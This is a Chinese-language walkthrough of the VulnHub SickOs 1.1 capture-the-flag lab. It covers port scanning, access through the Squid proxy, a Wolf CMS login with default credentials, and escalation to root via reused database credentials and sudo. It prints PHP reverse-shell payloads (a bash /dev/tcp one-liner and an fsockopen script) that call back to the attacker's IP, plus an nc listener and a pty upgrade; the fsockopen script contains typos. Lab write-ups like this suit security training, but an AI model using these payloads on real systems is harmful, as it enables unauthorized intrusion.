学习环境
kali攻击机:Get Kali | Kali Linux
vulnhub靶场:https://download.vulnhub.com/sickos/sick0s1.1.7z
靶场描述:
这次夺旗赛清晰地模拟了在安全环境下如何对网络实施黑客策略从而入侵网络的过程。这个虚拟机与我在进攻性安全认证专家(OSCP)培训中所面对的实验环境极为相似。目标是入侵网络 / 机器并获取其管理权限 / 根权限。
测试过程
端口扫描
使用nmap查找目标主机地址
nmap扫描目标主机TCP端口和UDP端口,一共扫描到3个TCP端口,2个存活
探测端口的服务版本,系统版本
nmap简单的漏扫脚本执行,没什么有效信息
访问3128端口显示error,根据界面有效信息看到这个服务名及版本squid/3.1.19
搜索发现是一个http web代理服务,那意味着我们是否可以通过配置这个代理端口来访问一些服务
直接访问8080端口是拒绝访问的
使用3128端口配置代理http 192.168.229.166 3128,我在代理插件上直接配置,再次访问8080端口,无果,还是拒绝访问
既然是http代理尝试访问默认80端口是否能通,测试可以,但没什么有效信息
使用dirsearch进行目录扫描,此时同样要配置代理扫描,发现两个路径/connect和/rebots.txt
dirsearch -u http://192.168.229.166/ --proxy=192.168.229.166:3128
/connect访问是一个python脚本,输出两句话没什么用
/robots.txt下有一个/wolfcms路径,看名字应该一个cms管理系统
尝试访问是一个果然,是一个文章页面,没有输入框什么的
百度查找wolfcms默认后台登陆地址/?/admin拼接跳转成功
尝试默认账户密码admin/admin登陆成功
随便打开一个page页面发现可以编辑php代码,百度百科查找反弹shell命令写入,同时kail攻击机监听,写入后保存,kali机成功拿到shell
反弹shell:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.229.152/8080 0>&1'"); ?>
<?php$ip = "192.168.229.152";
$port = "8080";
sock = fsockopen(ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
kali攻击机监听;
nc -lvvp 8080
拿到shell后执行下面python语句生成一个交互式的 /bin/bash
进程,否则部分命令无法执行
python -c 'import pty;pty.spawn("/bin/bash")'
查看账户是www-data,sudo -l需要密码,无果
查看当前路径下有一个config.php,应该是配置文件查找敏感信息,有一个数据库的账户密码
尝试本地连接mysql数据库, 拒绝www-data用户访问,查看账户表除了root,还存在一个sickos账户
尝试查看密码表,显然不能够,之前在配置文件中获取到一个数据库的账户密码,那么使用这个密码试试sickos账户,发现可以登录
查看当前用户sudo可执行命令,发现拥有所有执行权限,直接sudo /bin/bash获取到最高权限root
进入root目录下找到flag